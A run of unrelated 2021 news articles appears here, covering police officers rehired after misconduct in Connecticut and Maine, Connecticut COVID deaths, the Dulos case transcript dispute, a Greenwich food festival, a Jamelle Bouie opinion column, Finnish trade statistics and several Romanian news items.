The lawsuit is not based on any facts, Shelton Police Chief Shawn Sequeira told the Shelton Herald in June, a Hearst Connecticut Media publication.

The facts and circumstances support those disciplined and terminated were based on just cause. We continue to hold our officers accountable as the majority do their job, Sequeira said. Police officers are held to a specific standard supported by the police accountability bill.

Robert Kalamaras, Fairfields police chief, said Loris met the requirements to hire him as an officer.

Officer Loris was hired by Fairfield as a state certified police officer through the Police Officer Standards and Training Council, Kalamaras said.

During his thorough background investigation, he has fulfilled all of the state requirements necessary to assume the duties and responsibilities of a police officer and I fully support the decision of the previous chief, said Kalamaras, pointing out he did not personally hire the officer.

Linda Coan O'Kresik / Bangor Daily News

From Ridgefield to Maine

In addition to the two examples where officers moved between departments in-state, Hearst Connecticut closely researched the case of Craig Worster, the officer who resigned amid an internal investigation in Ridgefield and wound up later facing more accusations of misconduct at another job in Maine.

Although Worsters resignation from Ridgefield in 2015 effectively ended the internal investigation into his conduct without any disciplinary action, the investigative report Hearst Connecticut obtained under state Freedom of Information law details a pattern of misconduct and says his behavior was pervasive and that any reasonable person would conclude that Lt. Worster[s] actions form a pattern of hostile and abusive behavior.

According to the report, Worster allegedly would often touch female officers on the shoulder, stand uncomfortably close to them and tell them stories about sex he had with different women.

An unidentified female officer told investigators that Worster massaged her shoulders without asking. He just walked away without saying anything, the report quoted the officer as saying.

One female officer told investigators Worster played a video clip of men and women showering together that contained sexual comments and noises, according to the report. He also allegedly discussed with female officers whether a woman pulled over for a traffic stop had fake breasts, the report said.

While a female suspect blew into a tube during a breath test to determine alcohol level, Woster allegedly remarked that I bet shes good at that or shes good at that, the report said.

Five years later, Worster, then the chief of Millinocket Police in Maine, faced more accusations.

Millinocket Deputy Chief Janet Theriault filed a sexual harassment complaint against Worster. Details of the complaint have not been made public.

The accusations prompted the town to fire Worster in December 2020.

Weeks later, the small Millinocket police department was disbanded and neighboring East Millinocket was given an 18-month contract to take over the towns policing duties.

In February 2021, the Millinocket Personnel Appeals Board overturned Worsters termination. The town appealed the ruling, and the issue remains pending. Worster was not reinstated as chief, according to news reports in Maine.

The town manager who hired Worster, John Davis, was fired after the accusations against Worster surfaced.

Nick Sambides Jr. / Bangor Daily News

Millinocket was not Worsters first policing job in Maine. After leaving Ridgefield, Worster was hired in 2016 by the Wiscasset Police Department, a small town in Southern Maine. He resigned in 2018 following an internal investigation that still has not been made public, according to various news reports.

News reports in Maine show that Worsters case prompted considerable discussion there about the need to strengthen the transparency of police disciplinary records and the overall hiring process.

Attempts to reach Worster for comment were unsuccessful. An attorney for Worster in Maine did not respond to messages.

Ridgefield Police Chief Jeffery Kreitz did not respond to questions about whether Maine officials asked his department for Worsters disciplinary records and other details of his employment.

Millinocket officials did not respond to a request for comment on Worsters employment and termination.

A national problem

A 2020 study published in the Yale Law Journal closely examined police hiring trends in Florida and, in that state alone, found hundreds of working officers who had been fired from previous police jobs.

In any given year over the last three decades, an average of roughly 1,100 full-time law-enforcement officers in Florida walk the streets having been fired in the past, and almost 800 having been fired for misconduct, not counting the many who were fired and reinstated in arbitration, the study said.

But the studys authors said they were likely undercounting the number of wandering officers in Florida because there is no database that tracks police misconduct.

Such a tool could help agencies avoid hiring wandering officers who saunter in from other states, wrote researchers Ben Grunwald, a professor at the Duke University School of Law, and John Rappaport, a University of Chicago Law School professor.

The study, however, did not detail the types of misconduct that led to firing an officer or an officers resignation.

We are not able to identify the specific nature of the misconduct, such as excessive force, embezzlement, substance abuse, and so on, the authors noted.

The study, which also referenced several other examples of wandering officers around the country, added that departments do not always list the actual misconduct that led to a dismissal or pushed an officer to resign.

Still, the study found that wandering officers tend to move to smaller departments which have difficulty recruiting officers, enjoy fewer resources and do not always conduct background checks.

Even when well-intentioned  as a second chance for a hardworking cop  hiring a wandering officer is risky business, the authors wrote.

Wandering officers are also more likely to be fired from their second job, receive complaints for moral character violations and violent or sexual misconduct, the study said.

Such officers are riskier, by our measures, than even officers hired as rookies, noted the study.

Worse yet, the study said, wandering officers may infect other officers upon arrival, causing misconduct to metastasize to the farthest reaches of the law-enforcement community.

Hiring wandering officers can even bring deadly consequences, as evidenced by a highly publicized case in Cleveland.

In November 2014, 12-year-old Tamir Rice was shot and killed in a park by a Cleveland police who mistook a fake gun the boy was holding for a real one.

Authorities later learned that the officer, while working at the Independence, Ohio police department, had been deemed emotionally unstable and unfit for duty, a fact he did not disclose on his application to join the Cleveland police. The Cleveland department did not review his personnel file before hiring him, according to a variety of media reports and the study published in the Yale Law Journal.

Efforts for reform

Amid concern over such serious outcomes, lawmakers in some states have taken steps to strengthen hiring practices and track police misconduct.

For example, last year, Pennsylvania enacted a law requiring police departments to retain the reason why an officer was fired or resigned. Those records are to be stored in a confidential database that other departments in the state can access when hiring new officers. Under the new law, if an agency chooses to hire an officer despite prior discipline, the department must publicly post a report explaining its decision.

Meanwhile, activists are also pushing for national solutions, including the creation of a national database of police misconduct so departments can readily obtain records of officers who were decertified  meaning their license to be a cop was taken away  or resigned during an internal investigation to avoid punishment or were fired for misconduct.

But the effort so far has not produced a comprehensive national or state database of police misconduct.

Unlike many other regulated professions, states often lack the ability to track prior disciplinary action taken against officers, according to the National Conference of State Legislatures.

The National Decertification Index provides a list of officers who lost the right to work in law enforcement. The database contains records on 30,172 officers, including officers from Connecticut. Connecticut is among 11 states that publicly report decertified officers by posting a list on the POST Councils website.

However, experts say that database is flawed, in part because participation, which is voluntary, is spotty. And the database omits misconduct not serious enough to draw decertification. In many states  Connecticut is not among them  only a felony conviction is sufficient to decertify an officer.

In Connecticut, disqualifying offenses include a felony conviction; resigning or retiring during an internal investigation for malfeasance or serious misconduct -- or being fired for the conduct; lying on application forms; serious use of force violations and behavior that undermines public confidence in law enforcement on the job and off the job.

On the other hand, the National Practitioners Data Bank, which under federal law mandates reporting of misconduct by health care professionals, is far more comprehensive, containing information on malpractice judgements, lost hospital privileges and medical board discipline.

Lynda Garcia, senior director of the policing program at The Leadership Conference, is working on a national database called Accountable Now. The data tool so far includes information from five major cities: Indianapolis, Ind, New Orleans, Baltimore, Austin, and Dallas.

For almost a decade, civil rights advocates have been pushing for a national database on police use of force to bring greater transparency and accountability to our law enforcement system, Garcia said.

Accurate data is critical to revealing the disproportionate impact police violence has on communities of color, Garcia said. To fix a problem, you need to know how extensive it is.
More than 650 Connecticut residents have died with COVID-19 since the state began broadly vaccinating against the disease  and nearly 98 percent of them were unvaccinated, data shows.

Between Feb. 21, when the state solidified its age-based vaccine rollout, and July 1, state records show 651 COVID-related deaths in Connecticut. Of those deaths, 97.8 percent were among patients who were unvaccinated, according to state Department of Public Health spokesperson Chris Boyle.

The remaining 2.2 percent of those deaths  14 of 651  involved patients who had received at least one dose of a COVID vaccine, Boyle said.

I think we should be very careful not to take it as bad news, said Yale New Haven Healths director of infection prevention, Dr. Rick Martinello.

Epidemiologists, Martinello said, would instead point to the number of people vaccinated compared with those who have not been vaccinated.

The right conclusion is not that vaccination is not useful, because what we don't know is how many deaths or disease otherwise did it prevent, Martinello said. We always need to be comparing populations vaccinated versus populations unvaccinated.

As of July 1, 2.3 million people in Connecticut had received at least one dose of the vaccine, according to state data. If 14 people had died after getting the shot, that is 0.0006 percent of vaccinated people who died of a COVID-19 infection.

The majority of the deaths that we're seeing  the overwhelming majority  are in people who have not been vaccinated. And you're seeing that nationwide, Martinello said. We know that the vaccine is not perfect. While it's very good at preventing illness, and it's outstanding at keeping people from having severe disease, there are people who will still have severe disease despite having been vaccinated.

In May, the state said three vaccinated residents died with a COVID infection, and those people were confirmed to have had underlying medical conditions.

When asked if the additional 11 deaths involving vaccinated residents were similarly among immunocompromised patients, Boyle said, We cannot determine the exact cause of that 2.2 percent.

That's consistent with what we have observed at Yale, Martinello said.

Certainly, we have seen some who are severely immunocompromised, vaccinated and have succumbed to COVID, he said.

Connecticuts data is broadly in line with the national picture. Centers for Disease Control and Prevention Director Rochelle Walensky said this month that 99.5 percent of recent COVID deaths involved people who had not been vaccinated.

Preliminary data from several states over the last few months suggest that 99.5 percent of deaths from COVID-19 in the United States were in unvaccinated people, she said.

As of July 6, the CDC reported 988 COVID breakthrough deaths, out of more than 157 million people vaccinated nationwide.

Maryland announced last week that 100 people had died from a COVID-19 infection in June and none had been vaccinated against the disease.

Tennessee, too, has seen similar results.

What we know is that people who are being hospitalized and who are dying right now are almost universally unvaccinated, Tennessee Health Commissioner Lisa Piercey told local news station WMC5. But those who are vaccinated seem to have really good protection against all of the variants, including the delta variant.
John Kovach / Hearst Connecticut Media

NEW CANAAN  A Westchester County man surrendered to police on an arrest warrant stemming from an alleged hit-and-run involving a bicyclist earlier this year, according to police.

Christopher M. Lynch, 51, of Birch Road in South Salem, N.Y., was charged with improper passing and evading responsibility in a crash that resulted in serious injury. Police said he was held on a $100,000 bond.
The state is opposing a court action filed by the attorney representing Michelle Troconis to get access to sealed hearing transcripts in the divorce and custody case involving Fotis and Jennifer Dulos.

Assistant Attorneys General Alma Rose Nunley and Robert Deichert filed a motion Wednesday to dismiss Troconis action seeking the transcripts on the basis that her attorney, Jon Schoenhorn, improperly sought relief from a civil court when he should have filed his objection to the continued sealing of the transcript in family court where the divorce proceedings took place.

Nunley and Deichert wrote in this motion that the court lacked jurisdiction because it could require this court to invalidate the sealing order entered by another judge of the Superior Court in a separate case.

In their filing, the assistant attorney generals included 10 pages of the transcript hearing that they say should remain sealed from public view. In the portion of the transcript that was released Wednesday, family court Judge Donna Nelson Heller ordered the courtroom closed and the report sealed. She also ordered any audio recordings sealed, the transcript shows.

Schoenhorn filed a civil writ in late April compelling court reporter Melanie Moss, who works at the Stamford Judicial District, to provide a court transcript of the two-day hearing on a psychological report, which was meant to aid a judge in family court proceedings.

The hearing, held days before Jennifer Dulos went missing on May 24, 2019, was canceled after its author, Dr. Stephen Herman, refused to continue his testimony.

Stamford Judicial District Judge John Blawie agreed to give Schoenhorn the psychological report in May. Schoenhorn also wants Moss or her successor to provide the transcript of the hearing, which was later dismissed not long before the entire divorce case was dismissed following Jennifer Dulos disappearance.

The psychological report had been under seal since the hearing in May 2019. Moss and the assistant attorney generals contend the transcript of the hearing is also sealed.

Schoenhorn likened the stance of the state to a scene in the movie Animal House.

The dean discloses the fraternity is on double secret probation and that they have no right to appeal their expulsion from campus, Schoenhorn said. In their own memo, they include part of the transcript they wouldnt give me.

Schoenhorn said Moss declined to provide with a transcript of the proceedings in March. Although the report has been sealed, Schoenhorn said there appeared to be no prohibition against the public attending the hearing, which would make the transcript public.

To the plaintiffs knowledge the May 14 and May 17, 2019, public courtroom proceedings were never ordered sealed or closed to the public, Schoenhorn said in the writ filed in April.

By refusing to provide him with the transcript, Moss acted in violation of her statutory authority and the First and Fourteenth Amendments to the United States Constitution, Schoenhorn said.

Schoenhorn contends that Heller should have followed the correct procedure for sealing the hearing including providing advance notice to anyone who wanted to object.

Troconis, Fotis Dulos former girlfriend, and attorney Kent Mawhinney are the remaining defendants charged with conspiracy to commit murder in the disappearance. Both have pleaded not guilty and their cases remain before the court.

Fotis Dulos, the estranged husband of Jennifer Dulos, died on Jan. 30, 2020, several weeks after he was charged with the kidnapping and murder of Jennifer Dulos.

Fotis and Jennifer Dulos were embroiled in a contentious divorce and custody battle over their five children when she disappeared.

Investigators believe Fotis Dulos was lying in wait for his estranged wife to return home from dropping off their children at school the morning of May 24, 2019, according to arrest warrants.

While Jennifer Dulos remains have never been found, the states chief medical examiner said she would not have survived the attack without immediate medical attention, according to arrest warrants.

The night of the disappearance Fotis Dulos and Troconis were captured on Hartford surveillance footage making a series of stops, arrest warrants read. Fotis Dulos was seen dumping bags, some of which were later recovered and contained his estranged wifes blood and clothing, according to arrest warrants.

Investigators said they also found Jennifer Dulos blood on the seat of a pickup truck, which belonged to one of Fotis Dulos employees, that they believe was used the day of the crime, the arrest warrants read.

Troconis is due back in criminal court on Sept. 14.
Greenwich Wine + Food will mark its 10th anniversary this September with a week of special events stretching from Greenwich to Stamford to Westport.

The core events are slated to take place at The Village, a new mixed-use complex in Stamfords South End.

The traditional festival  with its large white tent in Roger Baldwin Sherman Park and crowds of guests  is not taking place this year. Instead, organizers said programming will be completely unique, as the event marks its 10-year anniversary and faces a different landscape following the COVID-19 pandemic.

The Village will host classic  but reimagined  Greenwich Wine + Food events Oct. 2 and 3. The Savor & Stroll (formerly known as the Grand Tasting Tent) offers food and beverage tastings, demonstrations and industry leaders sharing products on the boardwalk, as well as events devoted to the best in burgers, tacos and more.

I could not be more thrilled to announce the anniversary celebration of Greenwich Wine + Food this year, bringing our most extravagant feast yet to the area, said Suni Unger, founder and CEO of Unger Media, the parent company behind Greenwich Wine + Food and Serendipity magazine.

The 10th anniversary Master Chef Gala, honoring Jacques Pepin for his lifetime of achievement, is scheduled for Oct. 1 at The Village, as award-winning chefs will prepare multi-course dinners serving chefs tables of 10 guests. The evening will also include mingling with celebrity chefs; tastings of fine liquors, wines and beers; a charity auction; and musical performances. A limited ticketed event will provide access to a cocktail party before dinner with Pepin, Michel Nischan and other celebrities.

Greenwich Wine + Food is built on the foundation of the incredibly rich culinary talents in this area, who have met the challenges of the last 16 months with determination, creativity and hard work, Unger said. This year, more than ever, our mission to shine a light on and lift up these incredible members of our communities could not be more important. Partnering with our good friends Jacques and Michel could not make more sense as we look back at the incredible history weve celebrated in the last decade and ahead to the ever-evolving trends in the culinary landscape.

In a statement, Unger said Greenwich Wine + Food has enjoyed a long-standing positive relationship with the town over the years, and noted that there would still be associated events held in Greenwich during that week.

We will be incorporating private homes, restaurants and other local businesses in both Greenwich and beyond for this years re-imagined events, she said. We look forward to continuing our relationship with the town and its officials both for this years milestone, as well as events in the years to come.

Exclusive wine experiences kick off the week of Greenwich Wine + Food events on Sept. 28, with vintners, winemakers and sommeliers leading discussions of wine history and production practices with guests in homes and restaurants throughout Fairfield County and surrounding areas, according to a release. Exact locations were not included. The intimate events will pair rare, world-class wine tastings with multi-course menus prepared by notable local chefs.

As we sat down to imagine this years events, we had a few things front of mind, Unger said in her statement. First, we wanted to create a unique experience that celebrated favorite moments from years past and involved one-of-a-kind new moments to celebrate our 10-year anniversary. That, combined with a very different landscape for events following a global pandemic meant that this year would be unlike any other. Our foodie fans and core culinary partners will see events in Greenwich, Stamford, Westport and other towns that have been involved with GWF over the last 10 years.

New events for 2021 include Ultimate Donut, highlighting some of the areas best treats; Sunday brunch with live music on the rooftop; and Sunset Cruise & Oysters, serving a selection of oysters and other refreshments on a one-hour Long Island Sound cruise.

The 2021 event also brings the 9th Annual Burger Battle and 7th Annual Top Bartender Showdown, inviting friendly competition between area restaurants and bars. Guests will enjoy sommelier, mixologist and brew master presentations, celebrity book signings, cooking demos with special guest chefs, a celebrity green room with live interviews, an exclusive Meet the Masters panel discussion and live musical performances.

VIP ticketholders will have access to Saturdays or Sundays festivities, in addition to a rooftop experience with lounge areas; three bars serving premium spirits, wine and beer; an exclusive dinner or brunch prepared by award-winning area chefs; private restrooms; and VIP parking.

Beneficiaries include two national nonprofit organizations with roots in Connecticut: The Jacques Pepin Foundation and Wholesome Wave. Platinum sponsors include Wagoneer and The Village.

Tickets will be available in the coming weeks via greenwichwineandfood.com or by emailing wineandfood@ungerpublishing.com.

Editors note: This story has been updated to clarify the core events will be held in Stamford with smaller events also in Greenwich, Westport and other towns.
Amy Goodman is the host of Democracy Now!, a daily international TV/radio news hour airing on more than 1,400 stations. She is the co-author, with Denis Moynihan and David Goodman, of the New York Times best-seller Democracy Now!: 20 Years Covering the Movements Changing America.
Ogden jazz icon Joe McQueen may be gone, but his memory and legacy live on. One physical reminder of his life, McQueen's lifelong home at 3158 Grant Ave., has now become available for sale. The house received extensive remodeling, but as investor Richard Casperson has said, "Joe's energy is 
For two months after the 2020 presidential election, Donald Trump fought to invalidate and overturn the results. When election administrators and judges refused to play ball, he urged his most loyal followers to march on Congress, to prevent final certification of the electoral vote. We fight like hell. And if you dont fight like hell, youre not going to have a country anymore, he told a crowd of thousands on Jan. 6.

Were going to the Capitol, Trump said, and though he did not, many of his supporters did.

Trump was impeached for his leading role in the insurrection, but not convicted. The stain of that second impeachment notwithstanding, he left office without sanction. He lives in freedom, cushioned by continued wealth and influence. He still has the Republican Party in his thrall, and within that party, the only orthodoxy that matters is whether you also want to stop the steal. After a brief and uncharacteristic silence on this point, Trump now hails the Jan. 6 insurrectionists as heroes.

These were peaceful people. These were great people, he said during a recent interview on Fox News, in which he also embraced the MAGA martyrdom of Ashli Babbitt, who was killed inside the Capitol.

We are not the only democracy to have had a corrupt, would-be authoritarian in high office. But we have had a hard time holding that person minimally accountable, much less keeping him out of contention for future office, which would have been accomplished had he been removed from the White House.

As it stands, Trump has all but announced his plan to run for president in 2024, and Republican Party activists are eager to give him the nomination.

Who is to blame for the former presidents return to prominence? Is it the Democratic leaders who have been content to leave him to his own devices, or is it the Republican ones who have surrendered to his delusions and those of his most devoted fans?

Neither group is blameless, but the problem goes beyond our political elites, however fearful, timid or craven they happen to be. This isnt the first time the United States has struggled to hold insurrectionists accountable for their actions.

Consider our Civil War.

Jefferson Davis, president of the Confederacy and commander in chief of an army that killed more than 360,000 American troops, died a free man. Robert E. Lee, commander of the Army of Northern Virginia, died a free man as well. Alexander Stephens, the Confederate vice president, whose cornerstone speech defined the secessionist cause, served five terms in Congress after the war and also died a free man. Nor was this trio an exception. Other, less prominent Confederates were also able to escape any real punishment.

Most of the leaders of the deadliest insurrection in American history died free men, pardoned by President Andrew Johnson in the first years of Reconstruction and released from federal custody  if they were arrested in the first place. Howell Cobb of Georgia, for example, was president of the secession convention, a drafter of the Confederate Constitution, a member of the Confederate Congress and an officer in the Confederate Army. He died while on vacation in New York, three years after the war ended. Some of these men would show contrition. But more typical were those who moved smoothly from open rebellion to opposition to Reconstruction to serving as propagandists for what would become the Lost Cause.

Before he died, Davis wrote The Rise and Fall of the Confederate Government, a two-volume work in which he purported to show that the Southern states had rightfully the power to withdraw from a Union into which they had, as sovereign communities, voluntarily entered and that secession was a righteous response to violations and usurpations of the Constitution.

Stephens similarly sought vindication with a book that framed the Civil War as a fight over opposing principles that lay in the organic structure of the government of the states. It was strife, he wrote, between the principles of federation, on the one side, and centralism, or consolidation, on the other.

Leniency for defeated Confederates did not just give them an opportunity to shape the nations memory of the war, it also contributed to a climate of impunity that fueled violence against Black people and their allies. Contemporary observers blamed the New Orleans massacre of 1866  in which a mob of white rioters attacked a group of mostly Black Unionists, leaving dozens dead and many more wounded  on Johnsons permissive Reconstruction policies.

Blood is upon his hands, the blood of innocent, loyal citizens, who had committed no crime but that of seeking to protect themselves against rebel misrule, which he, Andrew Johnson, had foisted upon them, The Chicago Tribune wrote.

To explain Johnsons leniency, historian Eric Foner notes two factors. The first was Johnsons deep-seated racism, his belief that white men alone must manage the South. The second was his ambition to serve a second term. Thus, as Foner writes in Reconstruction: Americas Unfinished Revolution, Johnson came to view cooperation with the former Confederate elite as indispensable to two interrelated goals  white supremacy in the South and his own reelection as president.

Put a little differently, Johnsons willingness to hold former Confederates responsible was tempered by both ideology and the realities of partisan politics. The Southern planter class may have been disloyal, but it still represented the kind of citizen Johnson believed should rule, as well as the kind of voter he hoped to attract.

This is an important point. The United States has never struggled to punish those radicals who stood against hierarchy and domination. Whether you were a labor radical, Black revolutionary or left-wing militant, to attempt to upset existing class and social relations  or, at times, to even associate with people who held those ideas  was to court state repression. The two Red Scares of the 20th century are evidence enough of this fact.

When a perceived internal enemy is a threat to the established hierarchy, the state springs into action. But when the challenge is in defense of those hierarchies, the incentive often runs in the other direction, either out of ideological affinity or the potential for political gain or both.

Trump leads a mass movement in defense of traditional hierarchies. His most fervent supporters tried to overturn American democracy in his name. Perhaps, if he and his followers were more fringe figures, there would be greater appetite among political elites for holding him accountable.

But because Trump and his movement are essentially mainstream  because his political power weighs on the fortunes of both parties  he is insulated from the consequences of his actions. His most fervent followers may find themselves facing prosecution and jail time for what they did on Jan. 6, but he stands unchastened and unrestrained.

It almost does not matter if Trump runs for president again. The damage has been done. Not just in terms of what is possible  an attack on the Capitol  but in terms of what is remembered. If, as Trump suggests, the insurrectionists are heroes and martyrs, then the insurrection itself is already fast becoming something of a Lost Cause. And if experience tells us anything, its that we should not underestimate the power and potency of that particular narrative.

JAMELLE BOUIE is a columnist for The New York Times.
MIDDLEFIELD TOWNSHIP [emdash] Rachel A. Byler, 5 days, of Middlefield Twp, was granted her angel wings Friday night, July 16, 2021 while being held in her mother's arms and surrounded by her loving family. She was born in Middlefield on Sunday, July 11, 2021. She was a member of the Old Orde
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Published: 14 July 2021

Turnover increased in all industries of trade in May

According to Statistics Finland, turnover in total trade adjusted for working days grew in May by 13.5 per cent from May 2020. Over the same period, the working day adjusted volume of sales in total trade, from which the impact of prices has been eliminated, increased by 7.5 per cent. The positive development in total trade that started in January of the current year also continues in May. The development of trade industries was partly affected by the exceptionally weak growth one year ago caused by the corona pandemic. This is now visible as high growth figures for some trade industries.

Annual change in working day adjusted turnover and sales volume in total trade (G), %

Motor vehicle trade shows strong growth in May as well

Turnover and sales volume grew in May in all trade industries except for sales volume in daily consumer goods trade. Among the industries of trade, motor vehicle trade grew most. Motor vehicle trade has developed briskly throughout the early part of the year. In May turnover in motor vehicle trade rose by as much as 37.8 per cent and sales volume by 35.5 per cent from one year back. The growth in motor vehicle trade was considerably affected by the weak development one year ago caused by the corona pandemic.

The positive development in the biggest industry in trade, wholesale trade, which started in February, also continued in May. Turnover grew by 12.5 per cent and sales volume by 3.3 per cent year-on-year. The more favourable development in turnover than in sales volume in wholesale trade is explained by risen prices especially of processed petroleum products.

In retail trade, working day adjusted turnover grew in May in total by 6.3 per cent and sales volume by 4.8 per cent. Of the retail trade industries, specialised trade grew most. In specialised trade both turnover and sales volume increased by 10.5 per cent. Turnover in department store trade rose by 3.3 per cent and sales volume by 2.4 per cent from May 2020. Among retail trade industries, the development was weakest in daily consumer goods trade, where turnover increased by 1.7 per cent and sales volume decreased by 1.0 per cent from a year ago.

Annual change in working day adjusted turnover and sales volume in industries of trade, May 2021, % (TOL 2008)

Both turnover and sales volume increased compared to April

Seasonally adjusted turnover in total trade grew by 0.6 per cent in May compared to April. Seasonally adjusted sales volume grew by 0.1 per cent during the same period. In April turnover and sales volume rose by 0.5 per cent from the month before.

Change in seasonally adjusted turnover and sales volume in total trade (G) from the previous month, %

Trend of turnover and sales volume in total trade

The calculation of indices of turnover of trade is based on the Tax Administrations data on self-assessed taxes, which are supplemented with Statistics Finlands sales inquiry. The volume index of sales is calculated by removing the effect of price changes from the value index series.

The factors caused by the variation in the number of weekdays are taken into account in adjustment for working days. This means taking into consideration the lengths of months, different weekdays and holidays. In addition, seasonal variation is eliminated from seasonally adjusted series, on account of which it makes sense to compare observations of two successive months as well.

The data for the latest month are preliminary and they may become significantly revised particularly on more detailed industry levels in coming months.

Source: Turnover of trade, Statistics Finland

Inquiries: , Mauri Niiniaho 029 551 3409, palvelut.suhdanne@stat.fi

Head of Department in charge: Katri Kaaja

Publication in pdf-format (286.8 kB)

Updated 14.07.2021

Referencing instructions: Official Statistics of Finland (OSF): Turnover of trade [e-publication].

ISSN=1799-0939. May 2021. Helsinki: Statistics Finland [referred: 19.7.2021].

Access method: http://www.stat.fi/til/klv/2021/05/klv_2021_05_2021-07-14_tie_002_en.html
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Border police officers from western Varsand and Nadlac II Border Crossing Points found, in the last 24 hours, 28 citizens from Afghanistan, Pakistan and Turkey trying to illegally cross the border into Hungary, on foot or hidden in four freight trucks loaded with various goods, agerpres reports.

* On Tuesday, at the Varsand Border Crossing Point, Arad County, a Greek citizen driving a long-haul trucks registered in Greece turned up for border formalities to exit the country.

The truck was transporting, according to the accompanying documents, copper cables, computer parts, olive oil and lighting products, on the route Greece - Poland, states the Oradea Border Police Inspectorate (ITPF).Following a thorough inspection of the means of transport, six foreign nationals were discovered hidden in the cargo compartment. Preliminary checks have established that the people in question are citizens of Afghanistan and Pakistan, aged between 16 and 36.* Similar actions took place at the Nadlac II Border Crossing Point, Arad County, where the border police officers carried out detailed control over three long-haul trucks, driven by a Turkish citizen and two Romanians.According to the documents accompanying the goods, they were transporting packages of furniture, sanitary ware and car accessories for companies in France and the Czech Republic.During the checks, the border guards discovered, hidden among the transported goods, twenty people. During the investigation, it was established that the people in question are citizens of Afghanistan and Turkey, aged between 15 and 37 years.* Also on Tuesday, around 4.30 pm, the border police from Turnu, Arad County, noticed, approximately 1,500 meters from the border line, two people walking. As they did not justify their presence in the area, they were taken to the sector headquarters for checks.They were citizens from Afghanistan, aged 18 and 35, respectively.
Romania will remain actively involved in the decision-making process at EU level, the Minister of Foreign Affairs, Bogdan Aurescu gave assurances on Wednesday, while receiving, during a presentation visit, Ramona Chiriac, the new Chief of the Representation of the European Commission in Romania.

During the discussions, aspects aimed at cooperation between the Ministry of Foreign Affairs and the Representation of the European Commission in Romania were addressed and major issues on the European agenda in the coming period and Romania's expectations from European developments were reviewed, reads a Foreign Ministry (MAE) release sent to AGERPRES.

Minister Bogdan Aurescu expressed confidence that the "very good" relationship between the MAE and the representation will continue in the next period.He stressed the importance of a close dialogue in the coming months, especially regarding the events that will take place under the auspices of the Conference on the Future of Europe, in order to ensure a consistent contribution from Romania to strengthen the European construction."Minister Bogdan Aurescu and the head of the delegation agreed to maintain a constant and active dialogue on all aspects of priority interest for Romania at European level. The head of Romanian diplomacy assured that Romania will remain actively involved in the decision-making process in the European Union and pointed out the constructive role that dialogue and cooperation with the European institutions and, in particular, with the European Commission have in this regard," the release reads.
Chief of Defense Staff, Lieutenant General Daniel Petrescu, is paying an official visit to the United States of America on July 12-18, on which occasion he will meet with the Chairman of the Joint Chiefs of Staff of the U.S. Army, General Mark A. Milley, and other senior NATO and US military officials, informs the Ministry of National Defense (MApN).

According to the cited source, the visit of the Romanian official is part of the actions to strengthen cooperation with the United States in the field of defense.

"The solid and dynamic collaboration relations between the Romanian and American military represent a vital component of the Strategic Partnership, which aims at consolidating Romania's security and promoting our country as a vector of stability in South-Eastern Europe," states the Ministry of National Defense.
Romania is a place worth investing in, and France - an important economic partner for our country, Prime Minister Florin Citu told Wednesday's reception organized on the occasion of the National Day of France.

"This pandemic has put us in front of a reality - that no one is safe until we are all safe. The return to normalcy will mean and is closely linked to the economic recovery. Overcoming the pandemic through vaccination remains the best way to go for our economies and societies. France is an important economic partner for us, and Romania is a place worth investing in," Citu said at the French Embassy.

He thanked the medical staff in the two countries for their solidarity in saving lives."I appreciate the wish of Mrs. Ambassador [Laurence Auer] to mark today's celebration as a tribute to the medical and care staff who were at the forefront of the fight against COVID-19. I would also like to thank the medical staff in Romania and France, who acted in solidarity to save human lives. I also salute the contribution of Romanian doctors in France to this extraordinary joint effort," said the prime minister.Florin Citu also reminded that the Romanian-French economic partnership includes national strategic sectors, from the automotive industry, to the aeronautical one or the energy field."We expect the resumption of economic growth, which will confirm the positive trend of recent years," the prime minister said, adding that this year's signals are optimistic.Citu mentioned that in the first half of next year, France will take over the presidency of the EU Council. "It will be a crucial moment in restoring and restarting our societies and economies," he said. He pointed out that the pandemic highlighted the importance of coordination at European level in managing the coronavirus crisis faster and more efficiently.Romania is ready to work in this direction and to support the future French presidency in order to obtain concrete benefits for all European citizens, including through the concretization of the Health Union, added the prime minister.
The Bucharest Court of Appeal on Wednesday canceled the 2,000 lei worth fine received by President Klaus Iohannis from the National Council for Combating Discrimination (CNCD), for saying, back in 2018, that "a bunch of criminals" were making a "desperate" and "pathetic" attempt to discredit the DNA (National Anticorruption Directorate).

The court admitted the action filed by the Presidential Administration and canceled the CNCD decision of May 9, 2018, by which Klaus Iohannis was fined, but the decision is not final.

By this decision, the judges establish that the use of the term "some criminals" does not constitute discrimination.On May 9, 2018, the CNCD Board of Directors decided to fine President Klaus Iohannis with 2,000 lei, on the grounds that the head of state discriminated when he used the term "criminal" in a February 2018 statement.On February 15, 2018, Klaus Iohannis said that "some criminals" were making a "desperate" and "pathetic" attempt to discredit the DNA and reaffirmed that this institution and its leadership "are doing a very good job."After being sanctioned, the head of state challenged CNCD's decision with the Bucharest Court of Appeal, the parties being the ones who filed the complaint against Iohannis with CNCD, namely SC Jurindex Media SRL, the company that manages the Lumeajustitiei.ro website, journalist Razvan Savaliuc, and former MP Andreea Cosma, agerpres reports.
The current account balance of payments deficit has increased by 2.74 billion euro in the first five months of this year, to 5.947 billion euro, from 3.207 billion euro in the January - May 2020 period, according to data of the National Bank of Romania, agerpres reports.

In the January - May 2021 period, the total foreign debt grew by 1.057 billion euro. In its structure, the long-term debt totaled 92.193 billion euro on May 31, 2021 (72.6 of the total foreign debt), a drop by 0.7 pct over December 31, 2020, and the short-term foreign debt recorded the level of 34.791 billion euro (27.4 of the total foreign debt), increasing by 5.1 pct over December 31, 2020.The service rate of the long-term foreign debt was 17.4 pct in the January - May 2021 period, compared to 20.1 pct in 2020. The goods and services coverage rate on May 31, 2021, was of 4.9 month, compared to 5.6 month on December 31, 2020.The coverage rate of the short-term foreign debt, calculated at its residual value, with the BNR's currency reserves on May 31, 2021, was 84.8, compared to 90.7 pct, on December 31, 2020.
French Ambassador in Bucharest Laurence Auer has dedicated Wednesday's celebration of her country's National Day - July 14 - to the medical staff involved in the fight against COVID-19 and vaccination efforts around the world.

"After more than a year of fighting the pandemic, we dedicate this ceremony to the medical staff and the efforts made for vaccination in France, Romania, and around the world, which we must intensify even more," the diplomat said at the ceremony held at the French Embassy's headquarters, attended by both President Klaus Iohannis and Prime Minister Florin Citu.

